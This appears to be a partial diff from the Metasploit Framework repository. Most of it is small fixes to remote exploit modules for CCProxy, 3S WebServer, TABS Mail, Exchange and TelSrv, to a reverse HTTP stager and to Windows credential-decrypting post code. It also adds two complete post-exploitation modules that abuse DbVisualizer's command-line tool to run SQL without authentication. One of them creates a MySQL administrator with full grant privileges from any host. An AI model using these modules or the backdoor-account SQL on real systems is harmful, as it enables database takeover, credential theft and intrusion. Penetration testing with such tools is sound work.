req = "\xD0\x07\x00\x00"
# filename length
req << "#{[fname.length].pack('l')}"
req << "#{[fname.length].pack('V')}"
# file name
req << "#{fname}"
# data length
req << "#{[data.length].pack('l')}"
req << "#{[data.length].pack('V')}"
# data
req << "#{data}"
connect

View File

@ -58,10 +58,10 @@ class Metasploit3 < Msf::Exploit::Remote
def check
connect
banner = sock.get_once(-1,3) || ''
banner = sock.get_once || ''
disconnect
if (banner =~ /CCProxy Telnet Service Ready/)
if banner.to_s =~ /CCProxy Telnet Service Ready/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe

View File

@ -79,14 +79,14 @@ class Metasploit3 < Msf::Exploit::Remote
def check
connect
sock.put("GET / HTTP/1.1\r\n\r\n")
res = sock.get(-1, 3)
sock.put("GET / HTTP/1.1\r\nHost: #{rhost}\r\n\r\n")
res = sock.get_once
disconnect
# Can't flag the web server as vulnerable, because it doesn't
# give us a version
vprint_line(res)
if res =~ /3S_WebServer/
vprint_line(res.to_s)
if res.to_s =~ /3S_WebServer/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
@ -118,7 +118,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Trying target #{target.name}...")
sock.put(sploit)
res = sock.get_once
res = sock.get_once(-1, 5)
print_line(res) unless res.nil?
handler

View File

@ -228,7 +228,7 @@ class Metasploit3 < Msf::Exploit::Remote
exe = generate_payload_exe
# Padding to be sure we're aligned to 4 bytes.
exe << "\x00" until exe.length % 4 == 0
longs = exe.unpack("l*")
longs = exe.unpack("V*")
offset = 0
# gefebt.exe isn't able to handle (on my test environment) long

View File

@ -3,18 +3,15 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
=begin
Windows XP systems that are not part of a domain default to treating all
network logons as if they were Guest. This prevents SMB relay attacks from
gaining administrative access to these systems. This setting can be found
under:
Local Security Settings >
Local Policies >
Security Options >
Network Access: Sharing and security model for local accounts
=end
# Windows XP systems that are not part of a domain default to treating all
# network logons as if they were Guest. This prevents SMB relay attacks from
# gaining administrative access to these systems. This setting can be found
# under:
#
# Local Security Settings >
# Local Policies >
# Security Options >
# Network Access: Sharing and security model for local accounts
require 'msf/core'

View File

@ -58,10 +58,10 @@ class Metasploit3 < Msf::Exploit::Remote
def check
connect
banner = sock.get_once(-1,3) || ''
banner = sock.get_once || ''
disconnect
if (banner =~ /ESMTP TABS Mail Server for Windows NT/)
if banner.to_s =~ /ESMTP TABS Mail Server for Windows NT/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe

View File

@ -151,7 +151,7 @@ class Metasploit3 < Msf::Exploit::Remote
sock.put("XEXCH50 2 2\r\n")
select(nil,nil,nil,3)
res = sock.get(-1,3)
res = sock.get_once
print_status("#{res}")
if (res !~ /Send binary data/)
print_status("Target is not vulnerable.")

View File

@ -84,10 +84,10 @@ class Metasploit3 < Msf::Exploit::Remote
connect
print_status("Attempting to determine if target is possibly vulnerable...")
select(nil,nil,nil,7)
banner = sock.get_once(-1,3) || ''
banner = sock.get_once || ''
vprint_status("Banner: #{banner}")
if (banner =~ /TelSrv 1\.5/)
if banner.to_s =~ /TelSrv 1\.5/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe

View File

@ -129,7 +129,7 @@ module Metasploit3
jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp
p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V")
#patch call Internetopen
p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("l")[0] + jmp_offset].pack("V")
p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V")
# patch the LPORT
lport = datastore['LPORT']

View File

@ -14,7 +14,7 @@ class Metasploit3 < Msf::Post
def initialize(info={})
super( update_info( info,
'Name' => 'Multi Gather Dbvis Connections Settings',
'Name' => 'Multi Gather DbVisualizer Connections Settings',
'Description' => %q{
DbVisualizer stores the user database configuration in dbvis.xml.
This module retrieves the connections settings from this file.

View File

@ -0,0 +1,245 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Unix
def initialize(info={})
super( update_info( info,
'Name' => 'Multi Manage DbVisualizer Add Db Admin',
'Description' => %q{
Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases
(With GUI). The remote database can be accessed from the command line without the need
to authenticate, which can be abused to create an administrator in the database with the
proper database permissions. Note: This module currently only supports MySQL.
},
'License' => MSF_LICENSE,
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
'References' =>
[
['URL', 'http://youtu.be/0LCLRVHX1vA']
],
'Platform' => %w{ linux win },
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptString.new('DBALIAS', [true,'Use dbvis_enum module to find out databases and aliases', 'localhost']),
OptString.new('DBUSERNAME', [true,'The user you want to add to the remote database', 'msf']),
OptString.new('DBPASSWORD', [true,'User password to set', 'msfRocks'])
], self.class)
end
def run
db_type = exist_and_supported()
unless db_type.blank?
dbvis = find_dbviscmd()
unless dbvis.blank?
sql = get_sql(db_type)
errors = dbvis_query(dbvis,sql)
if errors == true
print_error("No luck today, access is probably denied for configured user !? Try in verbose mode to know what happened. ")
else
print_good("Privileged user created ! Try now to connect with user : #{datastore['DBUSERNAME']} and password : #{datastore['DBPASSWORD']}")
end
end
end
end
# Check if the alias exist and if database is supported by this script
def exist_and_supported()
case session.platform
when /linux/
user = session.shell_command("whoami")
print_status("Current user is #{user}")
if (user =~ /root/)
user_base = "/root/"
else
user_base = "/home/#{user}/"
end
dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
when /win/
user_profile = session.sys.config.getenv('USERPROFILE')
dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml"
end
unless file?(dbvis_file)
#File not found, we next try with the old config path
print_status("File not found: #{dbvis_file}")
print_status("This could be an older version of dbvis, trying old path")
case session.platform
when /linux/
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
when /win/
dbvis_file = "#{user_profile }\\.dbvis\\config\\dbvis.xml"
end
unless file?(dbvis_file)
print_error("File not found: #{dbvis_file}")
return
end
old_version = true
end
print_status("Reading : #{dbvis_file}" )
raw_xml = ""
begin
raw_xml = read_file(dbvis_file)
rescue EOFError
# If there's nothing in the file, we hit EOFError
print_error("Nothing read from file: #{dbvis_file}, file may be empty")
return
end
db_found = false
alias_found = false
db_type = nil
db_type_ok = false
# fetch config file
raw_xml.each_line do |line|
if line =~ /<Database id=/
db_found = true
elsif line =~ /<\/Database>/
db_found = false
end
if db_found == true
# checkthe alias
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
if datastore['DBALIAS'] == $1
alias_found = true
print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml")
end
end
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
if alias_found
print_good("Username for this connection : #{$1}")
end
end
# check the type
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
if alias_found
db_type = $1
db_type_ok = check_db_type(db_type)
if db_type_ok
print_good("Database #{db_type} is supported ")
else
print_error("Database #{db_type} is not supported (yet)")
db_type = nil
end
alias_found = false
end
end
end
end
if db_type.blank?
print_error("Database alias not found in dbvis.xml")
end
return db_type # That is empty if DB is not supported
end
# Find path to dbviscmd.sh|bat
def find_dbviscmd
case session.platform
when /linux/
dbvis = session.shell_command("locate dbviscmd.sh").chomp
if dbvis.chomp == ""
print_error("dbviscmd.sh not found")
return nil
else
print_good("Dbviscmd found : #{dbvis}")
end
when /win/
# Find program files
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
progfiles_x86 = progfiles_env['ProgramFiles(X86)']
if not progfiles_x86.blank? and progfiles_x86 !~ /%ProgramFiles\(X86\)%/
program_files = progfiles_x86 # x64
else
program_files = progfiles_env['ProgramFiles'] # x86
end
dirs = []
session.fs.dir.foreach(program_files) do |d|
dirs << d
end
dbvis_home_dir = nil
#Browse program content to find a possible dbvis home
dirs.each do |d|
if (d =~ /DbVisualizer[\S+\s+]+/i)
dbvis_home_dir=d
end
end
if dbvis_home_dir.blank?
print_error("Dbvis home not found, maybe uninstalled ?")
return nil
end
dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat"
unless file?(dbvis)
print_error("dbviscmd.bat not found")
return nil
end
print_good("Dbviscmd found : #{dbvis}")
end
return dbvis
end
# Query execution method
def dbvis_query(dbvis,sql)
error = false
resp = ''
if file?(dbvis) == true
f = session.fs.file.stat(dbvis)
if f.uid == Process.euid or Process.groups.include?f.gid
print_status("Trying to execute evil sql, it can take time ...")
args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\""
dbvis = "\"#{dbvis}\""
cmd = "#{dbvis} #{args}"
resp = cmd_exec(cmd)
vprint_line("")
vprint_status("#{resp}")
if resp =~ /denied|failed/i
error = true
end
else
print_error("User doesn't have enough rights to execute dbviscmd, aborting")
end
else
print_error("#{dbvis} is not a file")
end
return error
end
# Database dependent part
# Check if db type is supported by this script
def check_db_type(type)
return type.to_s =~ /mysql/i
end
# Build proper sql
def get_sql(db_type)
if db_type =~ /mysql/i
sql = "CREATE USER '#{datastore['DBUSERNAME']}'@'localhost' IDENTIFIED BY '#{datastore['DBPASSWORD']}';"
sql << "GRANT ALL PRIVILEGES ON *.* TO '#{datastore['DBUSERNAME']}'@'localhost' WITH GRANT OPTION;"
sql << "CREATE USER '#{datastore['DBUSERNAME']}'@'%' IDENTIFIED BY '#{datastore['DBPASSWORD']}';"
sql << "GRANT ALL PRIVILEGES ON *.* TO '#{datastore['DBUSERNAME']}'@'%' WITH GRANT OPTION;"
return sql
end
return nil
end
end

View File

@ -0,0 +1,220 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Unix
def initialize(info={})
super( update_info( info,
'Name' => 'Multi Manage DbVisualizer Query',
'Description' => %q{
Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases
(With GUI). The remote database can be accessed from the command line without the need
to authenticate, and this module abuses this functionality to query and will store the
results.
Please note: backslash quotes and your (stacked or not) queries should
end with a semicolon.
},
'License' => MSF_LICENSE,
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
'References' =>
[
['URL', 'http://youtu.be/0LCLRVHX1vA']
],
'Platform' => %w{ linux win },
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptString.new('DBALIAS', [true,'Use dbvis_enum module to find out databases and aliases', 'localhost']),
OptString.new('QUERY', [true,'The query you want to execute on the remote database', '']),
], self.class)
end
def run
db_type = exist_and_supported()
unless db_type.blank?
dbvis = find_dbviscmd()
unless dbvis.blank?
dbvis_query(dbvis,datastore['QUERY'])
end
end
end
# Check if the alias exist and if database is supported by this script
def exist_and_supported()
case session.platform
when /linux/
user = session.shell_command("whoami")
print_status("Current user is #{user}")
if (user =~ /root/)
user_base = "/root/"
else
user_base = "/home/#{user}/"
end
dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
when /win/
user_profile = session.sys.config.getenv('USERPROFILE')
dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml"
end
unless file?(dbvis_file)
#File not found, we next try with the old config path
print_status("File not found: #{dbvis_file}")
print_status("This could be an older version of dbvis, trying old path")
case session.platform
when /linux/
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
when /win/
dbvis_file = "#{user_profile }\\.dbvis\\config\\dbvis.xml"
end
unless file?(dbvis_file)
print_error("File not found: #{dbvis_file}")
return
end
old_version = true
end
print_status("Reading : #{dbvis_file}" )
raw_xml = ""
begin
raw_xml = read_file(dbvis_file)
rescue EOFError
# If there's nothing in the file, we hit EOFError
print_error("Nothing read from file: #{dbvis_file}, file may be empty")
return
end
db_found = false
alias_found = false
db_type = nil
db_type_ok = false
# fetch config file
raw_xml.each_line do |line|
if line =~ /<Database id=/
db_found = true
elsif line =~ /<\/Database>/
db_found = false
end
if db_found == true
# checkthe alias
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
if datastore['DBALIAS'] == $1
alias_found = true
print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml")
end
end
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
if alias_found
print_good("Username for this connection : #{$1}")
end
end
# check the type
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
if alias_found
db_type = $1
alias_found = false
end
end
end
end
if db_type.blank?
print_error("Database alias not found in dbvis.xml")
end
return db_type # That is empty if DB is not supported
end
# Find path to dbviscmd.sh|bat
def find_dbviscmd
case session.platform
when /linux/
dbvis = session.shell_command("locate dbviscmd.sh").chomp
if dbvis.chomp == ""
print_error("dbviscmd.sh not found")
return nil
else
print_good("Dbviscmd found : #{dbvis}")
end
when /win/
# Find program files
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
progfiles_x86 = progfiles_env['ProgramFiles(X86)']
if not progfiles_x86.blank? and progfiles_x86 !~ /%ProgramFiles\(X86\)%/
program_files = progfiles_x86 # x64
else
program_files = progfiles_env['ProgramFiles'] # x86
end
dirs = []
session.fs.dir.foreach(program_files) do |d|
dirs << d
end
dbvis_home_dir = nil
#Browse program content to find a possible dbvis home
dirs.each do |d|
if (d =~ /DbVisualizer[\S+\s+]+/i)
dbvis_home_dir = d
end
end
if dbvis_home_dir.blank?
print_error("Dbvis home not found, maybe uninstalled ?")
return nil
end
dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat"
unless file?(dbvis)
print_error("dbviscmd.bat not found")
return nil
end
print_good("Dbviscmd found : #{dbvis}")
end
return dbvis
end
# Query execution method
def dbvis_query(dbvis,sql)
error = false
resp = ''
if file?(dbvis) == true
f = session.fs.file.stat(dbvis)
if f.uid == Process.euid or Process.groups.include?f.gid
print_status("Trying to execute evil sql, it can take time ...")
args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\""
dbvis = "\"#{dbvis}\""
cmd = "#{dbvis} #{args}"
resp = cmd_exec(cmd)
print_line("")
print_line("#{resp}")
# store qury and result
p = store_loot(
"dbvis.query",
"text/plain",
session,
resp.to_s,
"dbvis_query.txt",
"dbvis query")
print_good("Query stored in: #{p.to_s}")
else
print_error("User doesn't have enough rights to execute dbviscmd, aborting")
end
else
print_error("#{dbvis} is not a file")
end
return error
end
end

View File

@ -37,7 +37,7 @@ class Metasploit3 < Msf::Post
if is_86
addr = [data].pack("V")
else
addr = [data].pack("Q")
addr = [data].pack("Q<")
end
return addr
end
@ -95,7 +95,7 @@ class Metasploit3 < Msf::Post
len,add = ret["pDataOut"].unpack("V2")
else
ret = c32.CryptUnprotectData("#{len}#{addr}",16,"#{elen}#{eaddr}",nil,nil,0,16)
len,add = ret["pDataOut"].unpack("Q2")
len,add = ret["pDataOut"].unpack("Q<2")
end
#get data, and return it
@ -188,14 +188,14 @@ class Metasploit3 < Msf::Post
#read array of addresses as pointers to each structure
raw = read_str(p_to_arr[0], arr_len, 2)
pcred_array = raw.unpack("V*") if is_86
pcred_array = raw.unpack("Q*") unless is_86
pcred_array = raw.unpack("Q<*") unless is_86
#loop through the addresses and read each credential structure
pcred_array.each do |pcred|
cred = {}
raw = read_str(pcred, 52,2)
cred_struct = raw.unpack("VVVVQVVVVVVV") if is_86
cred_struct = raw.unpack("VVQQQQQVVQQQ") unless is_86
cred_struct = raw.unpack("VVVVQ<VVVVVVV") if is_86
cred_struct = raw.unpack("VVQ<Q<Q<Q<Q<VVQ<Q<Q<") unless is_86
cred["flags"] = cred_struct[0]
cred["type"] = cred_struct[1]
cred["targetname"] = read_str(cred_struct[2],512, 1)

Some files were not shown because too many files have changed in this diff Show More